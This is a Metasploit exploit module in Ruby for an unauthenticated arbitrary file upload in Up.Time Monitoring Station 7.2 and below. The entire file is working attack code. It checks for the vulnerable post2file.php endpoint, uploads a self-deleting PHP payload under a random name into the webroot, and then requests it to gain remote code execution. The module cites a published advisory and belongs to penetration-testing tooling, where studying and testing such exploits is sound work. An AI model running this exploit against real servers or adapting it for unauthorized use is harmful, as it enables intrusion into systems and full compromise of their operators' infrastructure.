##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found within the Up.Time
monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
webroot without authentication, leading to arbitrary code execution.
},
'Author' =>
[
'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '100423' ],
[ 'BID', '64031'],
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
],
'Payload' =>
{
'Space' => 10000, # just a big enough number to fit any PHP payload
'DisableNops' => true
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Up.Time 7.2', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 19 2013'))
register_options([
OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),
Opt::RPORT(9999)
], self.class)
end
def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
})
if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Uploading PHP to Up.Time server")
uri = target_uri.path
@payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self => true)
post_data = ({
"file_name" => @payload_name,
"script" => php_payload
})
print_status("#{peer} - Uploading payload #{@payload_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
'vars_post' => post_data,
})
unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end
print_status("#{peer} - Executing payload #{@payload_name}")
res = send_request_cgi({
'uri' => normalize_uri(uri, 'wizards', @payload_name),
'method' => 'GET'
})
end
end
